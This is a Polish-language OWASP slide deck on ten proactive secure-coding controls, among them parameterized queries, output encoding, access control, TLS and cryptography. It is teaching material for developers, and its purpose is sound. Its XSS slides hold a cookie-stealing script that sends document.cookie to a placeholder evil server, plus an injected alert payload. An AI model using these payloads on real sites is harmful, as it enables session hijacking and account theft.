Post on 28-Jul-2015
10 przykazań bezpiecznego programowaniaOWASP Top Ten Proactive Controls
Wojciech Dworakowski, SecuRingOWASP Poland Chapter Leader
Wojtek Dworakowski@wojdwo
CEO (od 2003)Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT
OWASP Poland
Chapter Leader (od 2011)
OWASPO = Open
• Materiały i narzędzia– za darmo– licencje Creative Commons– open source
• Tworzone na zasadach otwartej współpracy– każdy może przyłączyć się
3
Ankieta na 4Developers 2014** Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”• 62% firm nie edukuje programistów w zakresie
bezpieczeństwa aplikacji• >50% firm nie uwzględnia bezpieczeństwa na etapie
projektowania• 73% pytanych potwierdziło, że wprowadzało
poprawki wynikające z testów bezpieczeństwa• Tylko 42% potwierdziło że przed wdrożeniem
wykonują testy bezpieczeństwa
OWASP Top10 Risk vsOWASP Top10 Proactive Controls
Disclaimer
• Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10– To materiał edukacyjny– Każda aplikacja ma swój specyficzny profil ryzyka
SQL/LDAP/XML/cmd/…-injection
Łatwe do wykorzystania• proste w użyciu narzędzia automatyzujące atakZnaczne skutki ataku#1
Źródło: http://xkcd.com/327/
Dobre praktyki
#1 Zapytania parametryzowane– Prepared Statements / Parametrized Queries
#2 Stored Procedures– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)
#3 Escaping– ryzykowne!
String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
Narzędzia i materiały
• Bobby Tables: A guide to preventing SQL injection
• Query Parameterization Cheat Sheet• SQL Injection Prevention Cheat Sheet• OWASP
Secure Coding Practices Quick Reference Guide
XSS
• Zmiana treści strony
• Przechwycenie sesji
<script>document.body.innerHTML(“Jim was here”);</script>
<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>
Skutki braku kodowania znaków specjalnych
• Session hijacking• Network scanning• Obejście zabezpieczeń przed CSRF• Zmiana zawartości strony (w przeglądarce)• …• Przejęcie kontroli nad przeglądarką
– vide BeEF
Cross Site Scripting
Ale często wklejenie bezpośrednio w kontekst javascript:
<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
Dobre praktyki
• Kodowanie znaków specjalnych odpowiednie do kontekstu użycia– element HTML – Atrybut HTML– JavaScript– JSON– CSS / style– URL
Narzędzia i materiały
• XSS (Cross Site Scripting) Prevention Cheat Sheet
• Java Encoder Project• Microsoft .NET AntiXSS Library• OWASP ESAPI• Encoder Comparison Reference Project
Po co walidacja?
• Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji
• Walidacja jest jak firewall– Nie zabezpiecza przed wszystkim– …ale dobrze ją mieć
Dobre praktyki
• Walidacja wg whitelisty a nie blacklisty,• Typowanie pól
– najlepiej „systemowo” a nie per formularz. – Porządkuje to bezpieczeństwo w wielu warstwach
– np. potem łatwo można użyć do reguł WAF• Walidacja pierwszą linią obrony
– np. silne rzutowanie typów zapobiegnie injection,– ale nie może być jedyną !
Narzędzia i materiały
• Input Validation Cheat Sheet• Apache Commons Validator• OWASP JSON Sanitizer Project• OWASP Java HTML Sanitizer Project• Google Caja
Żądanie HTTP po przechwyceniuGET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: accConnection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Podmiana nr rachunku – uzyskujemy cudze dane
Dobre praktyki
• Decyzja po stronie serwera !• Default deny• Wszystkie żądania muszą przejść przez
kontrolę uprawnień– scentralizowany, spójny mechanizm
• Zasady kontroli dostępu (policy) osobne od kodu– a nie jako część kodu
if (currentUser.hasRole(“administrator”)) { //pozwol} else { //zabron}
If (currentUser.isPermitted(printPermission)) { //pozwol} else { //zabron}
Narzędzia i materiały
• Access Control Cheat Sheet• Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features• OWASP PHPRBAC Project
Przykład defektu
• Uwierzytelnienie kluczem lokalnie trzymanym na komputerze
• Proces logowania:1. podajemy login2. wybieramy plik z kluczem, wprowadzamy hasło
do klucza3. jesteśmy zalogowani
https://...../GenerateNewKey
Dobre praktyki
• Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających
• Zasada „łańcucha zaufania”• Uwaga na sesyjność „na granicy” !• Nie limituj długości i znaków które można użyć
w haśle
Narzędzia i materiały
• Authentication Cheat Sheet• Password Storage Cheat Sheet• Forgot Password Cheat Sheet• Session Management Cheat Sheet
Przykład defektu (at transit)
• SSL zapewnia szyfrowanie i autentyczność• Co weryfikuje autentyczność serwera?
– Aplikacje przeglądarkowe: Przeglądarka– Aplikacje mobilne / thick-client / embedded…:
Aplikacja• Najczęstsze błędy
– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”– Brak obsługi wyjątku
Dobre praktyki (in transit)
• TLS• Dla całości aplikacji• Cookies: flaga „Secure” • HTTP Strict Transport Security• Zestawy silnych szyfrów• Chain of trust• Certificate pinning
Narzędzia i materiały (in transit)
• Transport Layer Protection Cheat Sheet• Pinning Cheat Sheet• OWASP O-Saft (SSL Audit for Testers)
Przykład defektu (at rest)
• Przechowywanie haseł• „Własna” implementacja SHA1
public static String encrypt(byte [] in){
String out = "";for(int i = 0; i < in.length; i++){
byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b
& 0x0f];} return out;
}
Dobre praktyki (at rest)• Nie próbuj wynaleźć koła !
– Własne szfry są ZŁE– Własna implementacja crypto jest ZŁA– Sprawdzone biblioteki
• Silne szyfry w silnych trybach– ECB jest ZŁE– CBC – uwaga na „padding oracle”
• Dobre źródło losowości dla IV
Narzędzia i materiały
• Google KeyCzar• Cryptographic Storage Cheat Sheet• Password Storage Cheat Sheet
Narzędzia i materiały
• Logging Cheat Sheet• OWASP AppSensor Project
Narzędzia i materiały
• PHP Security Cheat Sheet• .NET Security Cheat Sheet• Spring Security• Apache Shiro• OWASP Dependency Check / Track
Definiowanie wymagań
• Scenariusze ataku– Jak zagrożenia mogą osiągnąć cele?– Wymaga doświadczenia i wiedzy eksperckiej
• Dobranie zabezpieczeń == WYMAGANIA
Zagrożenia SkutkiScenariusze
ataku
Kto? Jak? Co?
Narzędzia i materiały
• OWASP Application Security Verification Standard Project
• Software Assurance Maturity Model• Business Logic Security Cheat Sheet• Testing for business logic (OWASP-BL-001)
Narzędzia i materiały
• Software Assurance Maturity Model (OpenSAMM)
• Application Security Verification Standard Project
• Application Security Architecture Cheat Sheet• Attack Surface Analysis Cheat Sheet• Threat Modeling Cheat Sheet
To tylko Top Ten !
• Każda aplikacja jest inna– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)– i uwzględnić „zgodność z przepisami”
• Kilka prostych kroków daje duże efekty• Warto edukować programistów w zakresie
bezpieczeństwa
Spotkania OWASP
https://www.owasp.org/index.php/PolandLista mailingowa
Facebook: OWASP Poland Local Chapter
Twitter: @owasppoland
Dziękuję
Wojciech Dworakowski@wojdwowojciech.dworakowski@securing.pl
http://www.securing.pl